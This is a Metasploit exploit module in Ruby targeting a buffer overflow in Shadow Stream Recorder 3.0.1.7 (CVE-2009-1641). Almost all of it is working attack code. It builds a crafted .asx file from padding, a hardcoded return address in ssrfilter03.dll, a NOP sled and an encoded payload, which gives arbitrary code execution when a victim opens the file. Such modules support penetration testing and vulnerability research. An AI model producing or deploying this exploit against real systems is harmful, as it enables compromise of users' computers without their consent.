Shadow Stream Recorder 3.0.1.7 Buffer Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Shadow Stream Recorder 3.0.1.7 Buffer Overflow',
        'Description' => %q{
          This module exploits a buffer overflow in Shadow Stream Recorder 3.0.1.7.
          Using the application to open a specially crafted asx file, a buffer
          overflow may occur to allow arbitrary code execution under the context
          of the user.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'AlpHaNiX <alpha[at]hacker.bz>', # Original .m3u exploit
          'b0telh0 <me[at]gotgeek.com.br>' # MSF Module and .asx exploit
        ],
        'References' => [
          [ 'CVE', '2009-1641' ],
          [ 'OSVDB', '81487' ],
          [ 'EDB', '11957' ],
          [ 'BID', '34864' ]
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'process',
          'DisablePayloadHandler' => true
        },
        'Platform' => 'win',
        'Payload' => {
          'Space' => 2000,
          'BadChars' => "\x00\x09\x0a",
          'StackAdjustment' => -3500
        },
        'Targets' => [
          [
            'Windows Universal',
            {
              # push esp - ret ssrfilter03.dll
              'Ret' => 0x10035706,
              'Offset' => 26117
            }
          ],
        ],
        'Privileged' => false,
        'DisclosureDate' => '2010-03-29',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('FILENAME', [true, 'The file name.', 'msf.asx'])
      ]
    )
  end

  def exploit
    buffer = "http://"
    buffer << rand_text_alpha_upper(target['Offset'])
    buffer << [target.ret].pack('V')
    buffer << make_nops(40)
    buffer << payload.encoded

    print_status("Creating '#{datastore['FILENAME']}' file ...")
    file_create(buffer)
  end
end